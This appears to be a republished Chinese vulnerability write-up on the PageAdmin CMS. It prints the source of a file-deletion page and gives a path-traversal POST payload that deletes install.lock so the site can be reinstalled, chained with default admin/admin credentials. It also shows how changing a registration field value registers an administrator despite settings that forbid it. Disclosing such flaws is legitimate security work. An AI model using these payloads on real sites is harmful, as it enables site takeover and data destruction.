最新版任意文件删除

漏洞一 任意文件删除 可导致系统重装 不过需要管理员权限

看下这个文件
 

e/aspx/delete_file.aspx

 

<% @ Page language="c#"%>
<% @ Import NameSpace="System.Data"%>
<% @ Import NameSpace="System.Data.OleDb"%>
<% @ Import NameSpace="System.IO"%>
<% @ Import NameSpace="PageAdmin"%>
<script Language="C#" Runat="server">
override protected void OnInit(EventArgs e)
{
  Check_Post();
  string Table=Request.Form["table"];
  string Field=Request.Form["field"];
  string Id=Request.Form["id"];
  string D_File=Request.Form["path"];
  string UserName="";
  int IsMaster=0;
  int CanDel=1;
  if(IsStr(Table) && IsStr(Field) && IsNum(Id))
    {
     Conn theconn=new Conn();
     OleDbConnection conn=new OleDbConnection(theconn.Constr());
     conn.Open();
     if(Request.Cookies["Master"]!=null)
      {
        Master_Valicate Master=new Master_Valicate();
        Master.Master_Check();
        IsMaster=1;
      }
     else
      {
        Member_Valicate Member=new Member_Valicate();
        Member.Member_Check();
        UserName=Member._UserName;
      }
     string sql;
     OleDbCommand comm;
     OleDbDataReader dr;
     sql="select id from pa_field where thetable='"+Table+"' and [field]='"+Field+"'";
     comm=new OleDbCommand(sql,conn);
     dr=comm.ExecuteReader();
     if(!dr.Read()
       {
        CanDel=0;
       }
      dr.Close();

     if(CanDel==1) //数据库要有刚才那个记录 candel的值才不会被修改为0
      {
        if(IsMaster==1) //需要管理员权限
        {
         Del_File(D_File); //跟进
        }
       if(Id!="0")
       {
        if(IsMaster==0)
        {
         sql="update "+Table+" set "+Field+"='' where username='"+UserName+"'' and id="+Id;
        }
       else
        {
         sql="update "+Table+" set "+Field+"='' where id="+Id;
        }
        comm=new OleDbCommand(sql,conn);
        comm.ExecuteNonQuery();

        if(IsMaster==0)
        {
         sql="update pa_file set detail_id=0 where username='"+UserName+"'' and thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
        }
       else
        {
         sql="update pa_file set detail_id=0 where thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
        }
        comm=new OleDbCommand(sql,conn);
        comm.ExecuteNonQuery();
       }
      }
     conn.Close();
    }
}

private void Del_File(string FilePath)
 {
   if(FilePath!="" && FilePath.IndexOf(":")<0 && FilePath.IndexOf("/e/upload/")==0) //没过滤..可跳出目录 要以/e/upload/ 开头
    {
     if(FilePath.IndexOf("/zdy/")<0)
       {
         FilePath=Server.MapPath(FilePath);
         if(File.Exists(FilePath))
          {
            File.Delete(FilePath);
          }
      }
   }
 }

漏洞证明

可结合大牛的漏洞进行组合攻击

PageAdmin可绕过验证伪造任意用户身份登录(前台、后台)
 

http://wooyun.org/bugs/wooyun-2010-061861

现在进行测试就不用上面的步骤了,默认admin/admin 登陆后台,

然后访问
 

http://192.168.1.104/e/aspx/delete_file.aspx

post 提交
 

table=pa_member&Field=pa_address&id=0&path=/e/upload/../install/install.lock

本来是这样的 install.lock没删除
 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图

按上面操作之后
 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图1

系统就可以重新安装了

或者可删除任意文件了

漏洞二 系统后台是默认 不允许注册管理员的
 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图2

我们看下前台注册吧

访问

http://192.168.1.104/e/member/index.aspx?s=1&type=reg

我们提交注册信息抓下包看看
 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图3

多了一个用户组 1代表普通会员 8代表管理员 把他修改成提交
 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图4

 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图5

 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图6

然后看下后台
 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图7

后台虽然设置了 禁止注册管理员账号 但是我们还是注册了管理员账号

如果开启了这样的模式
 

PageAdmin任意文件删除+注册管理员 – 网站安全 – 自插图8

很多人认为 如果禁止了管理员注册了 那么第二个选项 是否审核注册用户觉得很多余了 干脆不审核注册管理员账号 或者可以设置邮箱验证(下拉有三个选项 不要选无需验证就好) 哈哈 那就危险了

修复方案:

对参数进行处理

    上一篇: Ecmall Sql 注入 第二弹 - 网站安全 - 自学php

    下一篇: 某电子邮件客户端软件本地XSS漏洞 - 网站安全
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《PageAdmin任意文件删除+注册管理员 – 网站安全 – 自
   

还没有人抢沙发呢~